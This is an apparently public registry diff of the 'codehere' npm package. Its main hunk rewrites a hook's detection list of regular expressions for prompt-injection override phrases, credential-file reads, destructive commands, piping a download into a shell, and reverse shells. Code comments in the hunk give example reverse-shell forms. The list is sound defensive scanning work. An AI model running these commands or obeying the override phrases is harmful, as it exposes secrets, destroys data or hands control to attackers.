codehere 0.2.1 → 0.3.0-rc.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +88 -68
- package/dist/domain/entities/task.js +4 -4
- package/dist/error-handler.js +4 -9
- package/dist/index.js +253 -1219
- package/dist/infrastructure/config/product-context.js +7 -6
- package/dist/infrastructure/hooks/claude-sdk-hook.js +335 -63
- package/dist/infrastructure/observability/execution-tracer.js +11 -6
- package/dist/infrastructure/orchestration/agent-adapter.js +13 -0
- package/dist/infrastructure/orchestration/agent-installer.js +101 -0
- package/dist/infrastructure/orchestration/agents-config-seed.js +56 -0
- package/dist/infrastructure/orchestration/aider-adapter.js +319 -0
- package/dist/infrastructure/orchestration/artifacts-extractor.js +175 -0
- package/dist/infrastructure/orchestration/claude-code-adapter.js +352 -0
- package/dist/infrastructure/orchestration/codex-adapter.js +310 -0
- package/dist/infrastructure/orchestration/generic-cli-adapter.js +553 -0
- package/dist/infrastructure/orchestration/opencode-adapter.js +275 -0
- package/dist/infrastructure/orchestration/progress-aggregator.js +189 -0
- package/dist/infrastructure/orchestration/readiness.js +106 -0
- package/dist/infrastructure/orchestration/session-manager.js +272 -0
- package/dist/infrastructure/orchestration/session-persistence.js +109 -0
- package/dist/infrastructure/protocols/mcp-helpers.js +10 -30
- package/dist/infrastructure/protocols/mcp-server-impl.js +359 -21
- package/dist/infrastructure/protocols/ui-page.js +1827 -0
- package/dist/infrastructure/security/file-collection.js +115 -0
- package/dist/infrastructure/security/trust-scorer.js +301 -56
- package/dist/infrastructure/storage/task-repository.js +8 -7
- package/dist/monitoring.js +10 -49
- package/dist/presentation/cli/commands/help-command.js +96 -139
- package/dist/presentation/cli/commands/hook-command.js +17 -24
- package/dist/presentation/cli/commands/report-command.js +59 -72
- package/dist/presentation/cli/commands/setup-command.js +4 -4
- package/dist/presentation/cli/commands/status-command.js +334 -43
- package/dist/presentation/cli/commands/trust-command.js +115 -99
- package/dist/presentation/cli/error-display.js +17 -21
- package/dist/ui.js +17 -12
- package/package.json +35 -67
- package/dist/agents/base.js +0 -101
- package/dist/agents/orchestrator-model-driven.js +0 -141
- package/dist/agents/react-orchestrator-agent.js +0 -54
- package/dist/application/agents/execution-agent.js +0 -508
- package/dist/application/agents/multi-agent-orchestrator.js +0 -295
- package/dist/application/agents/planning-agent.js +0 -433
- package/dist/application/agents/validation-agent.js +0 -317
- package/dist/application/architectures/plan-and-act.js +0 -242
- package/dist/application/index.js +0 -12
- package/dist/application/services/agent-factory.js +0 -28
- package/dist/application/services/dependency-container.js +0 -596
- package/dist/application/services/git-context-service.js +0 -83
- package/dist/application/services/intelligent-router.js +0 -934
- package/dist/application/services/tool-executor-service.js +0 -94
- package/dist/application/use-cases/ask-question-use-case.js +0 -338
- package/dist/application/use-cases/edit-file-use-case.js +0 -830
- package/dist/application/use-cases/explain-file-use-case.js +0 -50
- package/dist/application/use-cases/index-codebase-use-case.js +0 -113
- package/dist/application/use-cases/planning-use-case.js +0 -276
- package/dist/application/use-cases/react-orchestration-use-case.js +0 -329
- package/dist/application/use-cases/reflexion-use-case.js +0 -30
- package/dist/application/workflows/deterministic-workflows.js +0 -189
- package/dist/ast-parser.js +0 -331
- package/dist/cache.js +0 -180
- package/dist/chat.js +0 -251
- package/dist/code-analysis.js +0 -327
- package/dist/context.js +0 -187
- package/dist/docs.js +0 -146
- package/dist/domain/entities/code-chunk.js +0 -6
- package/dist/domain/entities/decision.js +0 -9
- package/dist/domain/entities/edit.js +0 -6
- package/dist/domain/entities/knowledge-node.js +0 -9
- package/dist/domain/entities/knowledge-preservation.js +0 -10
- package/dist/domain/entities/memory.js +0 -6
- package/dist/domain/entities/pattern.js +0 -7
- package/dist/domain/entities/plan.js +0 -6
- package/dist/domain/entities/query.js +0 -6
- package/dist/domain/errors/embeddings-not-found-error.js +0 -13
- package/dist/domain/index.js +0 -19
- package/dist/domain/interfaces/ai-service.interface.js +0 -6
- package/dist/domain/interfaces/code-analyzer.interface.js +0 -6
- package/dist/domain/interfaces/decision-repository.interface.js +0 -9
- package/dist/domain/interfaces/embedding-repository.interface.js +0 -6
- package/dist/domain/interfaces/knowledge-graph-repository.interface.js +0 -9
- package/dist/domain/interfaces/knowledge-preservation-repository.interface.js +0 -8
- package/dist/domain/interfaces/memory-repository.interface.js +0 -6
- package/dist/domain/interfaces/pattern-repository.interface.js +0 -6
- package/dist/domain/interfaces/verification-service.interface.js +0 -6
- package/dist/domain/services/cross-team-pattern-sharing.js +0 -125
- package/dist/domain/services/decision-recorder.js +0 -223
- package/dist/domain/services/decision-retriever.js +0 -133
- package/dist/domain/services/environment-mode-manager.js +0 -22
- package/dist/domain/services/graded-memory-activation.js +0 -69
- package/dist/domain/services/knowledge-access.js +0 -132
- package/dist/domain/services/knowledge-extractor.js +0 -247
- package/dist/domain/services/knowledge-graph-builder.js +0 -268
- package/dist/domain/services/knowledge-graph-query.js +0 -187
- package/dist/domain/services/memory-retriever.js +0 -82
- package/dist/domain/services/memory-synthesizer.js +0 -91
- package/dist/domain/services/pattern-extractor.js +0 -442
- package/dist/domain/services/query-intent-classifier.js +0 -140
- package/dist/domain/services/react-loop.js +0 -186
- package/dist/domain/services/risk-tier-detector.js +0 -78
- package/dist/edit.js +0 -319
- package/dist/embed.js +0 -459
- package/dist/formatter.js +0 -168
- package/dist/git.js +0 -198
- package/dist/infrastructure/ai/cohere-ai-service.js +0 -607
- package/dist/infrastructure/ai/command-r-evaluation.js +0 -206
- package/dist/infrastructure/ai/model-config.js +0 -84
- package/dist/infrastructure/ai/provider-ai-service.js +0 -477
- package/dist/infrastructure/cache/embedding-cache.js +0 -175
- package/dist/infrastructure/cache/query-result-cache.js +0 -66
- package/dist/infrastructure/cache/response-cache.js +0 -48
- package/dist/infrastructure/cache/security-scan-cache.js +0 -47
- package/dist/infrastructure/chunking/ast-code-chunker.js +0 -19
- package/dist/infrastructure/chunking/code-aware-chunker.js +0 -397
- package/dist/infrastructure/context/context-compressor.js +0 -329
- package/dist/infrastructure/context/conversation-context.js +0 -128
- package/dist/infrastructure/context/session-manager.js +0 -94
- package/dist/infrastructure/cost/cost-tracker.js +0 -360
- package/dist/infrastructure/file-scanner/file-scanner.js +0 -106
- package/dist/infrastructure/governance/nist-ai-rmf.js +0 -292
- package/dist/infrastructure/governance/policy-as-code.js +0 -258
- package/dist/infrastructure/governance/prompt-to-code-lineage.js +0 -239
- package/dist/infrastructure/index.js +0 -7
- package/dist/infrastructure/observability/prompt-versioner.js +0 -145
- package/dist/infrastructure/protocols/a2a-metadata.js +0 -137
- package/dist/infrastructure/protocols/a2a-protocol.js +0 -314
- package/dist/infrastructure/protocols/mcp-oauth.js +0 -184
- package/dist/infrastructure/protocols/mcp-server.js +0 -333
- package/dist/infrastructure/protocols/streaming-handler.js +0 -103
- package/dist/infrastructure/providers/cohere-provider.js +0 -444
- package/dist/infrastructure/providers/fake-provider.js +0 -130
- package/dist/infrastructure/providers/local-llm-provider.js +0 -330
- package/dist/infrastructure/providers/model-config.types.js +0 -9
- package/dist/infrastructure/providers/model-provider.interface.js +0 -8
- package/dist/infrastructure/providers/openai-provider.js +0 -413
- package/dist/infrastructure/providers/openrouter-provider.js +0 -399
- package/dist/infrastructure/providers/operation-provider-resolver.js +0 -105
- package/dist/infrastructure/providers/provider-config-loader.js +0 -120
- package/dist/infrastructure/providers/provider-registry.js +0 -88
- package/dist/infrastructure/safety/pattern-detector.js +0 -133
- package/dist/infrastructure/security/ai-sast-scanner.js +0 -290
- package/dist/infrastructure/security/docker-sandbox.js +0 -178
- package/dist/infrastructure/security/enhanced-security-gate.js +0 -151
- package/dist/infrastructure/security/license-scanner.js +0 -167
- package/dist/infrastructure/security/provider-bias-detector.js +0 -164
- package/dist/infrastructure/security/sandbox-executor.js +0 -64
- package/dist/infrastructure/serialization/toon-serializer.js +0 -119
- package/dist/infrastructure/storage/memory-stream-service.js +0 -204
- package/dist/infrastructure/storage/plan-repository.js +0 -96
- package/dist/infrastructure/storage/sqlite-decision-repository.js +0 -232
- package/dist/infrastructure/storage/sqlite-embedding-repository.js +0 -311
- package/dist/infrastructure/storage/sqlite-knowledge-graph-repository.js +0 -417
- package/dist/infrastructure/storage/sqlite-knowledge-preservation-repository.js +0 -230
- package/dist/infrastructure/storage/sqlite-memory-repository.js +0 -229
- package/dist/infrastructure/storage/sqlite-pattern-repository.js +0 -249
- package/dist/infrastructure/storage/task-helpers.js +0 -197
- package/dist/infrastructure/telemetry/telemetry-service.js +0 -167
- package/dist/infrastructure/ux/appropriate-friction.js +0 -213
- package/dist/infrastructure/ux/bi-directional-learning.js +0 -337
- package/dist/infrastructure/ux/capability-boundaries.js +0 -42
- package/dist/infrastructure/ux/comprehensive-formatter.js +0 -117
- package/dist/infrastructure/ux/contextual-feature-discovery.js +0 -10
- package/dist/infrastructure/ux/expectation-management.js +0 -327
- package/dist/infrastructure/ux/feature-discovery.js +0 -14
- package/dist/infrastructure/ux/feedback-prompt.js +0 -45
- package/dist/infrastructure/ux/hitl-validation.js +0 -297
- package/dist/infrastructure/ux/progress-indicator.js +0 -116
- package/dist/infrastructure/ux/progressive-disclosure.js +0 -236
- package/dist/infrastructure/ux/review-checkpoint.js +0 -72
- package/dist/infrastructure/ux/staged-feature-intro.js +0 -24
- package/dist/infrastructure/ux/stream-markdown.js +0 -151
- package/dist/infrastructure/ux/syntax-highlighter.js +0 -91
- package/dist/infrastructure/ux/team-standards.js +0 -196
- package/dist/infrastructure/ux/transparency.js +0 -71
- package/dist/infrastructure/validation/agent-feedback.js +0 -55
- package/dist/infrastructure/validation/agent-validation-helper.js +0 -137
- package/dist/infrastructure/validation/review-handler.js +0 -40
- package/dist/infrastructure/validation/summary-aggregator.js +0 -70
- package/dist/infrastructure/validation/summary-extractor.js +0 -45
- package/dist/infrastructure/validation/trace-summary.js +0 -52
- package/dist/infrastructure/verification/verification-service.js +0 -47
- package/dist/infrastructure/xai/attention-visualizer.js +0 -172
- package/dist/infrastructure/xai/cot-visualizer.js +0 -283
- package/dist/infrastructure/xai/decision-tree-log.js +0 -212
- package/dist/infrastructure/xai/interactive-xai.js +0 -260
- package/dist/infrastructure/xai/uncertainty-quantifier.js +0 -198
- package/dist/intelligent-retrieval.js +0 -272
- package/dist/intent/classifier.js +0 -2
- package/dist/intent/context.js +0 -2
- package/dist/iterative-refinement.js +0 -189
- package/dist/learning.js +0 -232
- package/dist/log.js +0 -31
- package/dist/migrate.js +0 -133
- package/dist/parallel-processor.js +0 -530
- package/dist/planner.js +0 -198
- package/dist/policy.js +0 -26
- package/dist/presentation/cli/commands/ask-command.js +0 -314
- package/dist/presentation/cli/commands/cost-command.js +0 -191
- package/dist/presentation/cli/commands/decision-command.js +0 -207
- package/dist/presentation/cli/commands/docs-command.js +0 -25
- package/dist/presentation/cli/commands/fix-command.js +0 -53
- package/dist/presentation/cli/commands/knowledge-command.js +0 -129
- package/dist/presentation/cli/commands/learning-dashboard-command.js +0 -183
- package/dist/presentation/cli/commands/models-command.js +0 -194
- package/dist/presentation/cli/commands/orchestrate-command.js +0 -207
- package/dist/presentation/cli/commands/plan-command.js +0 -246
- package/dist/presentation/cli/commands/product-command.js +0 -199
- package/dist/presentation/cli/commands/react-command.js +0 -181
- package/dist/presentation/cli/commands/review-command.js +0 -154
- package/dist/presentation/cli/commands/run-command.js +0 -188
- package/dist/presentation/cli/commands/smart-command.js +0 -395
- package/dist/presentation/cli/commands/suggest-command.js +0 -138
- package/dist/presentation/cli/commands/trace-command.js +0 -129
- package/dist/presentation/cli/commands/undo-command.js +0 -150
- package/dist/query-optimizer.js +0 -205
- package/dist/refactor.js +0 -116
- package/dist/review.js +0 -206
- package/dist/search.js +0 -163
- package/dist/session.js +0 -652
- package/dist/task-verification.js +0 -336
- package/dist/testgen.js +0 -166
- package/dist/token-optimizer.js +0 -277
- package/dist/tools/bash.js +0 -213
- package/dist/tools/edit.js +0 -235
- package/dist/tools/executor.js +0 -153
- package/dist/tools/git-tool.js +0 -292
- package/dist/tools/parser.js +0 -158
- package/dist/tools/registry.js +0 -302
- package/dist/tools/search.js +0 -100
- package/dist/types.js +0 -2
- package/dist/utils/check-api-status.js +0 -100
- package/dist/utils/diff-parser.js +0 -162
- package/dist/verification/backup.js +0 -259
- package/dist/verification/compiler.js +0 -264
- package/dist/verification/index.js +0 -273
- package/dist/verification/test-runner.js +0 -379
|
@@ -35,9 +35,12 @@ export function saveProductContext(ctx, cwd = process.cwd()) {
|
|
|
35
35
|
* Returns a plain-English risk label for use in recommendations.
|
|
36
36
|
*/
|
|
37
37
|
export function riskLabel(level) {
|
|
38
|
-
return level === 'critical'
|
|
39
|
-
|
|
40
|
-
|
|
38
|
+
return level === 'critical'
|
|
39
|
+
? 'critical-risk'
|
|
40
|
+
: level === 'high'
|
|
41
|
+
? 'high-risk'
|
|
42
|
+
: level === 'medium'
|
|
43
|
+
? 'production'
|
|
41
44
|
: 'low-risk';
|
|
42
45
|
}
|
|
43
46
|
/**
|
|
@@ -47,9 +50,7 @@ export function riskLabel(level) {
|
|
|
47
50
|
export function adjustRecommendation(base, criticalCount, highCount, score, ctx) {
|
|
48
51
|
if (!ctx)
|
|
49
52
|
return base;
|
|
50
|
-
const prefix = ctx.productionApp
|
|
51
|
-
? `${ctx.name || 'Production app'} · `
|
|
52
|
-
: '';
|
|
53
|
+
const prefix = ctx.productionApp ? `${ctx.name || 'Production app'} · ` : '';
|
|
53
54
|
if (criticalCount > 0) {
|
|
54
55
|
return `${prefix}${criticalCount} critical issue${criticalCount !== 1 ? 's' : ''} — fix before this goes to production.`;
|
|
55
56
|
}
|
|
@@ -18,64 +18,335 @@ import { join } from 'path';
|
|
|
18
18
|
import { homedir } from 'os';
|
|
19
19
|
const PATTERNS = [
|
|
20
20
|
// Prompt Injection
|
|
21
|
-
|
|
22
|
-
{
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
{
|
|
29
|
-
|
|
30
|
-
|
|
21
|
+
// Allow chained modifiers: "ignore all previous instructions", "ignore all your prior rules", etc.
|
|
22
|
+
{
|
|
23
|
+
regex: /ignore\s+(?:(?:previous|prior|above|all|your|the)\s+){1,4}(?:instructions?|rules?|prompts?|guidelines?)/i,
|
|
24
|
+
severity: 'critical',
|
|
25
|
+
category: 'Prompt Injection',
|
|
26
|
+
description: 'Attempts to override system instructions',
|
|
27
|
+
},
|
|
28
|
+
{
|
|
29
|
+
regex: /disregard\s+(previous|prior|all|your)\s+(instructions?|rules?|prompts?)/i,
|
|
30
|
+
severity: 'critical',
|
|
31
|
+
category: 'Prompt Injection',
|
|
32
|
+
description: 'Disregard instruction override',
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
regex: /forget\s+(everything|all|previous|your)\s*(instructions?|rules?|context)?/i,
|
|
36
|
+
severity: 'critical',
|
|
37
|
+
category: 'Prompt Injection',
|
|
38
|
+
description: 'Context clearing attempt',
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
regex: /you\s+are\s+now\s+(a|an|my)|new\s+role\s*:|act\s+as\s+(a|an|if)/i,
|
|
42
|
+
severity: 'critical',
|
|
43
|
+
category: 'Prompt Injection',
|
|
44
|
+
description: 'Role hijacking attempt',
|
|
45
|
+
},
|
|
46
|
+
{
|
|
47
|
+
regex: /system\s*prompt|<\/?system>|(?<!['"\\])<\/?instruction>/i,
|
|
48
|
+
severity: 'critical',
|
|
49
|
+
category: 'Prompt Injection',
|
|
50
|
+
description: 'System prompt injection',
|
|
51
|
+
},
|
|
52
|
+
{
|
|
53
|
+
regex: /\bdo\s+not\s+(follow|obey|listen|comply)\b/i,
|
|
54
|
+
severity: 'critical',
|
|
55
|
+
category: 'Prompt Injection',
|
|
56
|
+
description: 'Instruction override attempt',
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
regex: /jailbreak|DAN\s+mode|developer\s+mode\s+enabled/i,
|
|
60
|
+
severity: 'critical',
|
|
61
|
+
category: 'Prompt Injection',
|
|
62
|
+
description: 'Jailbreak attempt',
|
|
63
|
+
},
|
|
64
|
+
{
|
|
65
|
+
regex: /bypass\s+(safety|restrictions?|filters?|guidelines?)/i,
|
|
66
|
+
severity: 'critical',
|
|
67
|
+
category: 'Prompt Injection',
|
|
68
|
+
description: 'Safety bypass attempt',
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
regex: /\[INST\]|\[\/INST\]|###\s*human:|###\s*assistant:/i,
|
|
72
|
+
severity: 'high',
|
|
73
|
+
category: 'Prompt Injection',
|
|
74
|
+
description: 'Prompt template injection',
|
|
75
|
+
},
|
|
76
|
+
{
|
|
77
|
+
regex: /override\s+(safety|security|policy|restrictions?)/i,
|
|
78
|
+
severity: 'critical',
|
|
79
|
+
category: 'Prompt Injection',
|
|
80
|
+
description: 'Policy override attempt',
|
|
81
|
+
},
|
|
31
82
|
// Credential Theft
|
|
32
|
-
{
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
{
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
83
|
+
{
|
|
84
|
+
regex: /cat\s+~?\/?(\.env|\.secrets?|credentials?|\.aws\/credentials)/i,
|
|
85
|
+
severity: 'critical',
|
|
86
|
+
category: 'Credential Theft',
|
|
87
|
+
description: 'Reads credential files',
|
|
88
|
+
},
|
|
89
|
+
{
|
|
90
|
+
regex: /echo\s+\$\s*(API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY)/i,
|
|
91
|
+
severity: 'critical',
|
|
92
|
+
category: 'Credential Theft',
|
|
93
|
+
description: 'Exfiltrates env secrets',
|
|
94
|
+
},
|
|
95
|
+
{
|
|
96
|
+
regex: /printenv|env\s*\|\s*(grep|curl|wget|nc)\b/i,
|
|
97
|
+
severity: 'high',
|
|
98
|
+
category: 'Credential Theft',
|
|
99
|
+
description: 'Environment variable exfiltration',
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
regex: /curl.*\$(API_KEY|TOKEN|SECRET|PASSWORD)/i,
|
|
103
|
+
severity: 'critical',
|
|
104
|
+
category: 'Credential Theft',
|
|
105
|
+
description: 'API key exfiltration via curl',
|
|
106
|
+
},
|
|
107
|
+
// Reading SSH private keys is never benign in dev workflow — promote to critical.
|
|
108
|
+
// ssh-keygen alone (key generation) stays 'high' since it's also a legitimate setup operation.
|
|
109
|
+
{
|
|
110
|
+
regex: /cat\s+~?\/?\.ssh\/(id_rsa|id_ed25519|id_ecdsa|id_dsa)\b/i,
|
|
111
|
+
severity: 'critical',
|
|
112
|
+
category: 'Credential Theft',
|
|
113
|
+
description: 'Reads SSH private key',
|
|
114
|
+
},
|
|
115
|
+
{
|
|
116
|
+
regex: /ssh-keygen|cat\s+~?\/?\.ssh\/authorized_keys/i,
|
|
117
|
+
severity: 'high',
|
|
118
|
+
category: 'Credential Theft',
|
|
119
|
+
description: 'SSH key tooling access',
|
|
120
|
+
},
|
|
121
|
+
{
|
|
122
|
+
regex: /keychain|security\s+find-generic-password/i,
|
|
123
|
+
severity: 'high',
|
|
124
|
+
category: 'Credential Theft',
|
|
125
|
+
description: 'macOS keychain access attempt',
|
|
126
|
+
},
|
|
127
|
+
{
|
|
128
|
+
regex: /OPENAI_API_KEY|ANTHROPIC_API_KEY|GITHUB_TOKEN/i,
|
|
129
|
+
severity: 'high',
|
|
130
|
+
category: 'Credential Theft',
|
|
131
|
+
description: 'Known API key reference',
|
|
132
|
+
},
|
|
133
|
+
{
|
|
134
|
+
regex: /\bsecret_key\b|\bapi_secret\b|\bauth_token\b/i,
|
|
135
|
+
severity: 'medium',
|
|
136
|
+
category: 'Credential Theft',
|
|
137
|
+
description: 'Secret key reference',
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
regex: /curl.*webhook.*\$\w+|wget.*\$\w+.*credentials/i,
|
|
141
|
+
severity: 'critical',
|
|
142
|
+
category: 'Credential Theft',
|
|
143
|
+
description: 'Credential webhook exfiltration',
|
|
144
|
+
},
|
|
145
|
+
{
|
|
146
|
+
regex: /\/proc\/\d+\/environ|\/etc\/shadow/i,
|
|
147
|
+
severity: 'critical',
|
|
148
|
+
category: 'Credential Theft',
|
|
149
|
+
description: 'System credential file access',
|
|
150
|
+
},
|
|
42
151
|
// Destructive Operations
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
{
|
|
49
|
-
|
|
50
|
-
|
|
152
|
+
// Block rm -rf against system roots or a user's whole home — but allow
|
|
153
|
+
// routine deletion under /tmp, ~/Library/Caches, node_modules, etc.
|
|
154
|
+
// Previous pattern included bare `\/` which matched any path starting
|
|
155
|
+
// with `/` (so `rm -rf /tmp/foo` was blocked). The alternatives below
|
|
156
|
+
// require an explicit system target or a bare home reference.
|
|
157
|
+
{
|
|
158
|
+
regex: /rm\s+-rf?\s+(?:\/(?:["'\s]|$|\*)|\/(?:home|etc|var|usr|bin|sbin|System|Library|opt|root|boot|dev)\b|~(?:["'\s]|$|\/(?:["'\s]|$|\*))|\$HOME(?:["'\s]|$|\/(?:["'\s]|$|\*))|\.\.(?:["'\s]|$))/im,
|
|
159
|
+
severity: 'critical',
|
|
160
|
+
category: 'Destructive',
|
|
161
|
+
description: 'Recursive deletion of system/home directories',
|
|
162
|
+
},
|
|
163
|
+
{
|
|
164
|
+
regex: /delete\s+all\s+files|wipe\s+(disk|drive|everything)|format\s+[a-z]:/i,
|
|
165
|
+
severity: 'critical',
|
|
166
|
+
category: 'Destructive',
|
|
167
|
+
description: 'Mass file deletion',
|
|
168
|
+
},
|
|
169
|
+
{
|
|
170
|
+
regex: />\s*\/dev\/(sda|hda|vda|nvme)|dd\s+if=.*of=\/dev/i,
|
|
171
|
+
severity: 'critical',
|
|
172
|
+
category: 'Destructive',
|
|
173
|
+
description: 'Raw disk write attempt',
|
|
174
|
+
},
|
|
175
|
+
{
|
|
176
|
+
regex: /DROP\s+TABLE|DROP\s+DATABASE|TRUNCATE\s+TABLE/i,
|
|
177
|
+
severity: 'critical',
|
|
178
|
+
category: 'Destructive',
|
|
179
|
+
description: 'Database destruction',
|
|
180
|
+
},
|
|
181
|
+
// Force-push or hard reset against main/master/production is irreversible loss of shared history — critical.
|
|
182
|
+
// Force-push to other branches stays 'high' since rebase-and-force-push to feature branches is routine.
|
|
183
|
+
{
|
|
184
|
+
regex: /git\s+(?:push\s+(?:--force|-f)|reset\s+--hard)\s+\S*origin\s+(main|master|production|release|prod)\b/i,
|
|
185
|
+
severity: 'critical',
|
|
186
|
+
category: 'Destructive',
|
|
187
|
+
description: 'Force push or hard reset to a protected branch',
|
|
188
|
+
},
|
|
189
|
+
{
|
|
190
|
+
regex: /git\s+(push\s+(?:--force|-f)|reset\s+--hard)\s+origin/i,
|
|
191
|
+
severity: 'high',
|
|
192
|
+
category: 'Destructive',
|
|
193
|
+
description: 'Force push or hard reset to remote',
|
|
194
|
+
},
|
|
195
|
+
{
|
|
196
|
+
regex: /shutdown\s+-[hr]|reboot\s+--force|init\s+0/i,
|
|
197
|
+
severity: 'high',
|
|
198
|
+
category: 'Destructive',
|
|
199
|
+
description: 'System shutdown/reboot',
|
|
200
|
+
},
|
|
201
|
+
{
|
|
202
|
+
regex: /pkill\s+-9\s+(node|python|ruby|java)\b/i,
|
|
203
|
+
severity: 'medium',
|
|
204
|
+
category: 'Destructive',
|
|
205
|
+
description: 'Process mass termination',
|
|
206
|
+
},
|
|
207
|
+
{
|
|
208
|
+
regex: /crontab\s+-r|at\s+now.*rm|systemctl\s+disable\s+--now/i,
|
|
209
|
+
severity: 'high',
|
|
210
|
+
category: 'Destructive',
|
|
211
|
+
description: 'Scheduled destruction',
|
|
212
|
+
},
|
|
51
213
|
// Code/Command Injection
|
|
52
214
|
// NOTE: patterns match execution intent, not grep/search of these strings.
|
|
53
215
|
// A command starting with "grep", "rg", "ag", or "find" is a search, not execution —
|
|
54
216
|
// those are pre-filtered in buildScanPayload before patterns run.
|
|
55
|
-
{
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
{
|
|
62
|
-
|
|
63
|
-
|
|
217
|
+
{
|
|
218
|
+
regex: /curl\s+\S+\s*\|\s*(bash|sh|python|ruby|perl|node)\b/i,
|
|
219
|
+
severity: 'critical',
|
|
220
|
+
category: 'Code Injection',
|
|
221
|
+
description: 'Remote script piped directly to shell',
|
|
222
|
+
},
|
|
223
|
+
{
|
|
224
|
+
regex: /wget\s+(-qO-\s+)?https?:\/\/\S+\s*\|\s*(bash|sh)/i,
|
|
225
|
+
severity: 'critical',
|
|
226
|
+
category: 'Code Injection',
|
|
227
|
+
description: 'Remote code execution via wget',
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
regex: /node\s+-e\s+["'].*eval\s*\(|node\s+-e\s+["'].*require\s*\(/i,
|
|
231
|
+
severity: 'critical',
|
|
232
|
+
category: 'Code Injection',
|
|
233
|
+
description: 'Inline node eval execution',
|
|
234
|
+
},
|
|
235
|
+
{
|
|
236
|
+
regex: /eval\s*\(.*process\.env\.|eval\s*\(.*\$_(GET|POST|REQUEST)/i,
|
|
237
|
+
severity: 'critical',
|
|
238
|
+
category: 'Code Injection',
|
|
239
|
+
description: 'eval() with external or env input',
|
|
240
|
+
},
|
|
241
|
+
{
|
|
242
|
+
regex: /exec\s*\(\s*['"]\s*system/i,
|
|
243
|
+
severity: 'critical',
|
|
244
|
+
category: 'Code Injection',
|
|
245
|
+
description: 'System shell from code',
|
|
246
|
+
},
|
|
247
|
+
{
|
|
248
|
+
regex: /python\s+-c\s+["']import\s+os;os\.system/i,
|
|
249
|
+
severity: 'high',
|
|
250
|
+
category: 'Code Injection',
|
|
251
|
+
description: 'Python shell injection',
|
|
252
|
+
},
|
|
253
|
+
// Reverse shell forms:
|
|
254
|
+
// nc -e /bin/bash 1.2.3.4 4444 (binary between -e and IP)
|
|
255
|
+
// nc -e 1.2.3.4 4444 (IP directly after -e)
|
|
256
|
+
// bash -i >& /dev/tcp/host/port (bash builtin)
|
|
257
|
+
{
|
|
258
|
+
regex: /nc\s+-[eln]+(?:\s+\S+)?\s+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}|bash\s+-i\s+>&\s*\/dev\/tcp/i,
|
|
259
|
+
severity: 'critical',
|
|
260
|
+
category: 'Code Injection',
|
|
261
|
+
description: 'Reverse shell attempt',
|
|
262
|
+
},
|
|
263
|
+
{
|
|
264
|
+
regex: /\bbase64\b.*\|.*(bash|sh)\b|\bbase64\b.*exec/i,
|
|
265
|
+
severity: 'critical',
|
|
266
|
+
category: 'Code Injection',
|
|
267
|
+
description: 'Base64-encoded code execution',
|
|
268
|
+
},
|
|
269
|
+
{
|
|
270
|
+
regex: /\$\(curl|subprocess\.run\(['"]curl/i,
|
|
271
|
+
severity: 'high',
|
|
272
|
+
category: 'Code Injection',
|
|
273
|
+
description: 'Command substitution with curl',
|
|
274
|
+
},
|
|
64
275
|
// Supply Chain
|
|
65
|
-
{
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
276
|
+
{
|
|
277
|
+
regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i,
|
|
278
|
+
severity: 'high',
|
|
279
|
+
category: 'Supply Chain',
|
|
280
|
+
description: 'Suspicious package version pattern',
|
|
281
|
+
},
|
|
282
|
+
{
|
|
283
|
+
regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i,
|
|
284
|
+
severity: 'high',
|
|
285
|
+
category: 'Supply Chain',
|
|
286
|
+
description: 'Typosquatting package pattern',
|
|
287
|
+
},
|
|
288
|
+
{
|
|
289
|
+
regex: /preinstall|postinstall|prepare/i,
|
|
290
|
+
severity: 'medium',
|
|
291
|
+
category: 'Supply Chain',
|
|
292
|
+
description: 'Lifecycle script reference',
|
|
293
|
+
},
|
|
294
|
+
{
|
|
295
|
+
regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i,
|
|
296
|
+
severity: 'critical',
|
|
297
|
+
category: 'Supply Chain',
|
|
298
|
+
description: 'Direct npm tarball execution',
|
|
299
|
+
},
|
|
69
300
|
// OWASP / Security Misconfig
|
|
70
|
-
{
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
301
|
+
{
|
|
302
|
+
regex: /Access-Control-Allow-Origin:\s*\*/i,
|
|
303
|
+
severity: 'medium',
|
|
304
|
+
category: 'OWASP',
|
|
305
|
+
description: 'Wildcard CORS header',
|
|
306
|
+
},
|
|
307
|
+
{
|
|
308
|
+
regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i,
|
|
309
|
+
severity: 'high',
|
|
310
|
+
category: 'OWASP',
|
|
311
|
+
description: 'SSL certificate verification disabled',
|
|
312
|
+
},
|
|
313
|
+
{
|
|
314
|
+
regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i,
|
|
315
|
+
severity: 'medium',
|
|
316
|
+
category: 'OWASP',
|
|
317
|
+
description: 'Hardcoded credential',
|
|
318
|
+
},
|
|
319
|
+
{
|
|
320
|
+
regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i,
|
|
321
|
+
severity: 'high',
|
|
322
|
+
category: 'OWASP',
|
|
323
|
+
description: 'Potential XSS via user input',
|
|
324
|
+
},
|
|
325
|
+
{
|
|
